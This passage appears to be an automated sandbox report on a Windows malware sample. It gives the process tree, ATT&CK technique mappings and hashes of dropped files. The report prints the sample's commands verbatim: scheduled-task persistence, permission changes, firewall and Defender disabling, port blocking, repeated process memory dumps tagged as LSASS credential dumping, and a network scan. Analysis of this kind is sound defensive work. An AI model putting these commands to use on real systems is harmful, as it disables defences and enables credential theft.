  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"
  2⤵
  PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1756
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3956
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4684
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3244
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2932
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1752
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4940
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4496
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5060
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3984
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1976
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1576
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1164
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:840
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3996
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5096
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4920
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1204
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:4872
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:5056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:4540
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1440
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:1848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4348
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:4316
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1532
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2988
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:2760
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3488
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 816 C:\Windows\TEMP\iiliuscuk\816.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4496
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 420 C:\Windows\TEMP\iiliuscuk\420.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2148 C:\Windows\TEMP\iiliuscuk\2148.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2552 C:\Windows\TEMP\iiliuscuk\2552.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:644
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2672 C:\Windows\TEMP\iiliuscuk\2672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3312
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2912 C:\Windows\TEMP\iiliuscuk\2912.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3148 C:\Windows\TEMP\iiliuscuk\3148.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3824 C:\Windows\TEMP\iiliuscuk\3824.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3912 C:\Windows\TEMP\iiliuscuk\3912.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4776
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3976 C:\Windows\TEMP\iiliuscuk\3976.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 4056 C:\Windows\TEMP\iiliuscuk\4056.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2412
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2544 C:\Windows\TEMP\iiliuscuk\2544.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2364 C:\Windows\TEMP\iiliuscuk\2364.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4528
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 1528 C:\Windows\TEMP\iiliuscuk\1528.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3032 C:\Windows\TEMP\iiliuscuk\3032.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 5076 C:\Windows\TEMP\iiliuscuk\5076.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 4160 C:\Windows\TEMP\iiliuscuk\4160.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- C:\Windows\TEMP\iiliuscuk\migibaipq.exe
  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 1836 C:\Windows\TEMP\iiliuscuk\1836.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\iiliuscuk\trrjzeypr\scan.bat
  2⤵
  PID:3472
- - C:\Windows\iiliuscuk\trrjzeypr\zljshrqzb.exe
    zljshrqzb.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5600
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6116
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3856

C:\Windows\SysWOW64\joxnkm.exe
C:\Windows\SysWOW64\joxnkm.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3836

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cerjnki.exe
1⤵
PID:1060
- C:\Windows\ime\cerjnki.exe
  C:\Windows\ime\cerjnki.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4680

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
1⤵
PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4900
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
  2⤵
  PID:648

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
1⤵
PID:3508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4156
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
  2⤵
  PID:5056

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
1⤵
PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:6028
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
  2⤵
  PID:3196

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cerjnki.exe
1⤵
PID:1380
- C:\Windows\ime\cerjnki.exe
  C:\Windows\ime\cerjnki.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4860

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
1⤵
PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3096
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
  2⤵
  PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\iiliuscuk\1528.dmp

Filesize
8.7MB

MD5
461bbc2307ee02bc0a89322dad07c38d

SHA1
64acfd690f77dded7a7eb914651b1129d0b37489

SHA256
2d6a411ed40e64136c52385a63b1818237ad526034e68d8df27d90bce4183e0a

SHA512
7a90d09a1c38a2db15fc093bd9d5c415a896dc691ee27f5b1c3809380856d53fcda2bad9d70c0d9e3d0c42115bb87db16f7af524bbc8c25d6d164aa7a02f9a61

Download Submit
C:\Windows\TEMP\iiliuscuk\2148.dmp

Filesize
4.2MB

MD5
95656e31f4b0b5c6c80963282bbdf86c

SHA1
d2a2ab563e071b0d998bfd6ff362f78654e526a4

SHA256
8ffaf727fe52f2088066a1ecc56a302fa0f7ca7fb0dc065713cfa7b380efdb73

SHA512
84cf80559785278a2c43be3ebb3d3d714d92091f2c15b31b1c5903ca937947726424b99e572abd1b00e23529ee5c71feb446b17065e73e7884ff6a3ab688ba4a

Download Submit
C:\Windows\TEMP\iiliuscuk\2364.dmp

Filesize
1.2MB

MD5
fdec13ecfc1247f5d1b9b8c713069289

SHA1
79edfc3aa587b3fe819cc7f6bb1963141c1d91ed

SHA256
ad7e8c038fd4d3dc0cc75bec7d1dd66bb92df7a05b04139b897dcc165dc83809

SHA512
b0fa7c8c557aad125031f9dfaccbe8460dd9577d1d8bf9719dff23d2506c07431436c0bda76f0e080634db4848435dd841b51f77ad038873db80822ec88e1d76

Download Submit
C:\Windows\TEMP\iiliuscuk\2544.dmp

Filesize
26.0MB

MD5
9942bdeb64ed297997effada51f4004c

SHA1
287f570441922e0c86f05c895d453f4e55a64b20

SHA256
b2e9fa9d70dafb50a55d5d2e7f217c5dcbcda0b941e499b99b56a597a2ae7e28

SHA512
bc876b9ad4ea7183b6bb6587a4786bf367fb66aa8970560df1b813067417e6acc5a25dfce6a7363ff51f596f9bfae871aa75d1385ecf930927e6dec03e32e419

Download Submit
C:\Windows\TEMP\iiliuscuk\2552.dmp

Filesize
3.9MB

MD5
97f8ef82a02ed5b24aa1fb8856794412

SHA1
0878cf88ce4d3fb5a5110fbc04d05bfe25a49828

SHA256
09889c85bbbbf646f637e3f8e175633d5b27b004c0768baa853fee77e353a304

SHA512
d94ee75ca9191c23bb95f9397fcf129a477046ba4ce1fd186aa91247f502d9626ae46c8e5a737a42a4b356c5247745c7f10857c01d9436a9bc2610eafed091ba

Download Submit
C:\Windows\TEMP\iiliuscuk\2672.dmp

Filesize
2.9MB

MD5
c2bfc3fa118ff7f1dfa69f4b8bce6063

SHA1
f791fac893780d01e9e0326003cae1eb452bb6df

SHA256
db9424840fe7bc56c99f27d076ac06b2f758092e11f7d77389d0e083a886d5d9

SHA512
079003d3bc028e58757a2d3dab71eb14fca69deceb0b5f82b78ebb6719fe4e756e37d4108dec5c1bcc94d6f595c03004915c009c07267ce6c1b3dc4639066c91

Download Submit
C:\Windows\TEMP\iiliuscuk\2912.dmp

Filesize
7.5MB

MD5
4dbfbb13e99a84b0721e0c979661cb76

SHA1
05aac9cc9e0ab10d1f4eff36c96d573da6325b1a

SHA256
270058a6cd3901bc94b5cfb6b0fdad4659d0c5f9f2c207e9177165d245c55e50

SHA512
82f9b940610b6b52c4b16870fb78eeea4ce916c7c4613c007942464b62713c4ff8e36912a83c9f21da94cdd0b6d734f8b74a85223178c60fc001e4c66a909745

Download Submit
C:\Windows\TEMP\iiliuscuk\3148.dmp

Filesize
810KB

MD5
eb2024d12e904169ec5f65c495c9f4f2

SHA1
38b6a979ef6cdb514108cd1c122762dbb0431f17

SHA256
d5bb0b537106900d56f8090df167ff9260e815526c51304812f162d7dccd1767

SHA512
7b5b96e2085d0c9d02efce86ec7eac8f1bdd06e5afebb258aacc3afb949baca15f67aaa2b6736e3de590ab51548bcd858f4130c4b8e260a5dbc332e0e2e6f7ea

Download Submit
C:\Windows\TEMP\iiliuscuk\3824.dmp

Filesize
3.2MB

MD5
18f15fbc47a44ddc7be2cf226130ee7d

SHA1
16211d43c2808ea667034eaeb52ae0c025b0d3da

SHA256
4fd18894fb24d974d33ff24a26a524caaf3ca5ed6575d062a005d223448b06a7

SHA512
8c00cc95f9ca520dc8e1c700371bc51ad1da0a1ea7e89761a8d593e546b308f492d95395ae9677d18975cb43566f34f8e864386efc0ca647627daf6a21c5686e

Download Submit
C:\Windows\TEMP\iiliuscuk\3912.dmp

Filesize
21.0MB

MD5
b9090a26e64021fe68869bf526fa3071

SHA1
da8e0ce57db9c809fb44c6c64c130325f09ea4e4

SHA256
bc4247051e289340033f11ac9b9281833ad1311a3a40a011843b946c72de4d04

SHA512
cf8beb3edf6d83986301bb9bfbfdcdc5c68d63235e8b9b8354f31b3b0ed2e5a1785fef69cf9d4824d121535b5302a096b894100a0d79fbe3823e83d2ada3ab0f

Download Submit
C:\Windows\TEMP\iiliuscuk\3976.dmp

Filesize
8.5MB

MD5
4715e9f9a079c8838df3619fa28c8d46

SHA1
db9034cc0bb80ca14fb33c49ca251379f9ef8c04

SHA256
024fabf968ea3f23a071a48d676ba4683a84f515ac82052f7a81652e13d7b809

SHA512
d1a463e2564f865a947d24e04754d179dd32abb54d64d71b9bb07af0e6fd4726dd82904017152689252b7052a2a41b10fb67d9b43d2325f213b197f00445ae2c

Download Submit
C:\Windows\TEMP\iiliuscuk\4056.dmp

Filesize
43.7MB

MD5
3995c649e78979f66aae7aa02991a979

SHA1
a5e93a6c2502d25fd6b571cca54af30eb59debe5

SHA256
997558bbe971db5eb2aca0897f9121923b6694c18aacf7fa16f2377df477932c

SHA512
2a90125a0f8c344fb77f62c83a4813ac73da989cf309f748220023960ba65393975d96afb1492194c4ee05f2a0a5181a8054ba211d8b39a3de66453d5b5ebe06

Download Submit
C:\Windows\TEMP\iiliuscuk\420.dmp

Filesize
33.6MB

MD5
91bd7df7fa49a172cea8411ed380f404

SHA1
d6a82271d3e62585d999ec394ed096d8bee90362

SHA256
6a382fcbc3ff141a8bb80c85d3ce58deec3abfd7bdafa2e448752193b1511ffa

SHA512
221de22eb06da67a0b65b879e43585cffce33fe2ee30b32c09ce480f9322cdd435396eb4bf74d2ae959e0831b32acd73781939c5b9770c2448ebbd6bf028320e

Download Submit
C:\Windows\TEMP\iiliuscuk\816.dmp

Filesize
1019KB

MD5
98d0e5fc6102717e46dd99cdfe057aae

SHA1
a808bb3c6356f6310eb513d90a497913f96a4580

SHA256
f0e3340930069adb46275281356a2f777a7a734f95362cd6d89e19f3a02e52ed

SHA512
ee7b57e1616e207b109a7814218bad91b479d214ae84bf2a2c5e553ff9c78100e695c92f6cc7bbdc4e7fdf3d7a79722f334ee90bbb27e3381cf52213d15641e3

Download Submit
C:\Windows\TEMP\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\TEMP\znmrttiqf\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\iiliuscuk\migibaipq.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsdE87D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsdE87D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\znmrttiqf\ittilk.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
